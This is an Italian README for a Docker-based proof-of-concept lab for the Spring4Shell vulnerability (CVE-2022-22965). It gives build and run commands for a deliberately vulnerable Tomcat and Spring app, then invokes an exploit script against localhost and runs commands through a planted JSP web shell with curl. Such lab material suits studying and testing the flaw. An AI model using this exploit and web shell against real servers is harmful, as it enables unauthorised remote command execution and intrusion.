Spring4Shell

Spring4Shell (CVE-2022-22965) Proof Of Concept con un server Tomcat vulnerabile e un'applicazione spring4shell vulnerabile.

Dettagli su questa vulnerabilità

• https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc
• https://www.springcloud.io/post/2022-03/spring-0day-vulnerability
• https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Come usare

Costruisci l'immagine

docker build . -t spring4shell

Esegui il container

docker run -p 80:8080 spring4shell

Puoi anche eseguirlo con la porta del debugger esposta, se necessario:

docker run -p 80:8080 –p 5005:5005 spring4shell

Consulta il post originale del blog per i dettagli sulla configurazione di un debugger remoto in IntelliJ Idea!

Esegui l'exploit

./exploit.sh --url http://localhost/spring4shell/hello --dir spring4shell

Poi puoi eseguire qualsiasi comando da remoto in questo modo:

curl http://localhost/spring4shell/shell.jsp?cmd=id --output -

...oppure visitando l'URL sopra.